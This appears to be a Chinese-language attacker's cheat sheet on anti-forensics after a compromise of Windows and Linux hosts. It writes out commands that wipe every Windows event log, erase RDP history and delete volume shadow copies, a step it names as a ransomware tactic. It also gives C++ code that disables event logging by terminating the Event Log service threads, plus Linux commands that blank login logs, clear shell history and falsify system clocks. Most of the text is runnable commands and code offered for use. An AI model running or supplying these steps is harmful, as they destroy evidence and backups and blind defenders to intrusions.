[TOC]

0x00 Windows

1. 系统日志

打开系统日志查看器:

开始 > 运行 > eventvwr
日志默认路径:%SystemRoot%\System32\Winevt\Logs*.evtx

采用 wevtutil.exe 程序进行清理:

#测试环境:WINDOWS 7 
#查看所有日志文件名称
wevtutil el

#统计日志列表,查询所有日志信息。
wevtutil gli Application

#查看指定类型日志
wevtutil qe /f:text Application


#删除该类日志所有内容
wevtutil cl security
wevtutil cl system
wevtutil cl application


#windows 脚本处理
@echo off
FOR /f "tokens=*" %%b in ('wevtutil el') do wevtutil cl "%%b" #注意P处理中是"%%"



采用powershell进行查看清除日志

$powershell Get-winevent   #显示建立时间事件已经信息,事件ID
TimeCreated ProviderName Id Message
----------- ------------ -- -------
2019/5/27 19:32:19 Microsoft-Window... 100 Windows 备份状态
2019/5/25 21:20:19 PowerShell 400 引擎状态已从 Non...
2019/5/25 21:20:19 PowerShell 600 提供程序“Certif...
2019/5/25 21:20:19 PowerShell 600 提供程序“Variab...
2019/5/25 21:20:19 PowerShell 600 提供程序“Regist...

2. 服务应用
#例如:IIS访问日志位置 
%WinDir%\System32\LogFiles\W3SVC1\exyymmdd.log

#清除远程桌面连接历史输出到文件
for /f "delims=\\ tokens=6" %a in ('reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"') do @echo %a >> d:\test.txt

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f /va #删除远程桌面连接
Default.rdp -s -h #将隐藏的RDP文件进行显示
del Default.rdp

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" #可以利用的
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" #删除后添加
3. 修改系统配置
#使系统日志产生的时间变化
#在“输入新时间”命令行中输入“17:20”,想要查询系统时间是否改回来,马上在新的命令行中输入“time”命令,会发现系统时间已经被修改好了
date && time

date /T && time /T

#磁盘卷影删除(勒索病毒)
vssadmin delete shadows /all /quiet #- 删除卷影副本
4.日志记录绕过

1)Windows日志绕过方法
原理:Windows日志对应于eventlog服务,找到该服务对应的进程svchost.exe,进而筛选出svchost.exe进程中具体实现日志功能的线程,调用TerminateThread结束线程,破坏日志记录功能

特点:由于只结束了实现日志功能的线程,所以Windows Event Log服务没有被破坏,状态仍为正在运行

绕过方法一:

1.定位eventlog服务对应进程svchost.exe的pid
2.遍历该进程中的所有线程
3.判断线程是否满足条件Windows Event Log 服务需要调用wevtsvc.dll,完整路径为%WinDir%\System32\wevtsvc.dll并且,如果线程调用了wevtsvc.dll,就可以判读该线程实现了日志记录功能
4.结束线程使用TerminateThread

采用:https://github.com/hlldz/Invoke-Phant0m/blob/master/Invoke-Phant0m.ps1

恢复方法:
1.结束进程svchost.exe
2.重新开启Windows Event Log 服务:net start eventlog


绕过方法二:

#1.定位eventlog服务对应进程svchost.exe的pidpowershell代码如下:
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
760

ExitCode : 0
Name : eventlog
ProcessId : 760
StartMode : Auto
State : Running
Status : OK

#2.采用多个软件组合进程遍历查找
#PsList:https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx #PSTools.rar
#ScTagQuery:http://www.winsiderss.com/tools/sctagquery/sctagqry.zip

$pslist.exe /accepteula -d 760 #获取进程svchost.exe中的所有线程
PsList v1.4 - Process information lister
Copyright (C) 2000-2016 Mark Russinovich
svchost 760:
Tid Pri Cswtch State User Time Kernel Time Elapsed Time
796 9 1318 Wait:UserReq 0:00:00.062 0:00:00.015 12:46:55.435
820 8 2826 Wait:UserReq 0:00:00.000 0:00:00.000 12:46:55.420
948 9 1142 Wait:UserReq 0:00:00.093 0:00:00.265 12:46:55.420
980 9 2033 Wait:UserReq 0:00:00.000 0:00:00.062 12:46:55.404 #一般测试前面几个(从开机时间验证)

$sctagqry.exe -t 980
ScTagQuery v1.12 - Query service tag information
#根据返回的结果Service Tag,判断线程对应的服务找到对应eventlog的线程
Querying service tag information for PID: 760 TID: 980
Service Tag: 36 Service Name: eventlog <<<==== [关键点]

#然后依次依次尝试,直到获取所有符合条件线程
$sctagqry.exe -t 2004
Querying service tag information for PID: 760 TID: 2004
Service Tag: 36 Service Name: eventlog

## 3.采用使用Process Explorer可以简化此过程找到eventlog服务对应进程svchost.exe
#下图就是符合条件的线程TID

## 4.采用TerminateThread 通过c++实现关闭,编译成为exe
参考链接:https://github.com/3gstudent/Windows-EventLog-Bypass

/*
TerminateEventLogThread.cpp
Author:[email protected]
Use to terminate Event Log thread
*/

#include <windows.h>
BOOL SetPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES NewState;
LUID luidPrivilegeLUID;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))
{
printf("SetPrivilege Error\n");
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
{
printf("AdjustTokenPrivilege Errro\n");
return FALSE;
}
return TRUE;
}

int main(int argc, char* argv[])
{
4SetPrivilege();
4printf("TerminateThread TID:\n");
4for(int i=1;i<argc;i++)
4{
44printf("%s\n",argv[i]);
44HANDLE hThread = OpenThread(0x0001, FALSE, atoi(argv[i]));
44if(TerminateThread(hThread,0)==0)
444printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
44CloseHandle(hThread);
4}
4return 0;
}

WeiyiGeek.Process-Explorer
WeiyiGeek.停止event记录

注意:

  • 绕过方法仅针对windows日志有效对应用程序和服务日志失效,例如Windows Powershell

0x01 LINUX

1. 系统日志
# lastlog / w /last 查看linux登录信息
删除登录成功记录:echo > /var/log/wtmp #此时执行last命令就会发现没有记录
删除登录失败记录:echo > /var/log/btmp
删除登录失败记录:echo > /var/log/utmp
echo > /var/log/secure #/var/log/secure(日志默认目录)
sed -i '/10.20.172.109/d' /var/log/utmp #根据不同发行版可以采用


#历史命令清除
#执行export HISTFILE=/dev/null 操作的命令就不会被记录到.bash_history
1.完成控制后退出时:history -c
2.修改配置文件:vim /etc/profile #找到HISTSIZE=1000 修改为HISTSIZE=0,保存退出
3.清空history记录:rm -rf /root/.bash_history


2. 服务应用

日志配置文件基本都在/var/log/目录需要注意蜜罐


3. 修改系统配置
#linux - 软件 & 硬件 更改系统时间
$date -s "06/18/14 14:20:50" #date命令将系统日期设置为2014年6月18日 #将时间设置为14点20分50秒
2014年 06月 18日 星期三 14:20:50 CST
$date 0618141614.30 #将时间设置为2014年6月18日14点16分30秒(MMDDhhmmYYYY.ss)

# 查看系统硬件时钟 hwclock --show 或者 clock --show
hwclock --set --date="06/18/14 14:55" (月/日/年时:分:秒)
clock --set --date="06/18/14 14:55" (月/日/年时:分:秒)

# hwclock --systohc 或者 clock --systohc //即用系统时钟同步硬件时钟 (执行这一条)
# hwclock --hctosys 或者 clock --hctosys //hc代表硬件时间,sys代表系统时间,即用硬件时钟同步系统时钟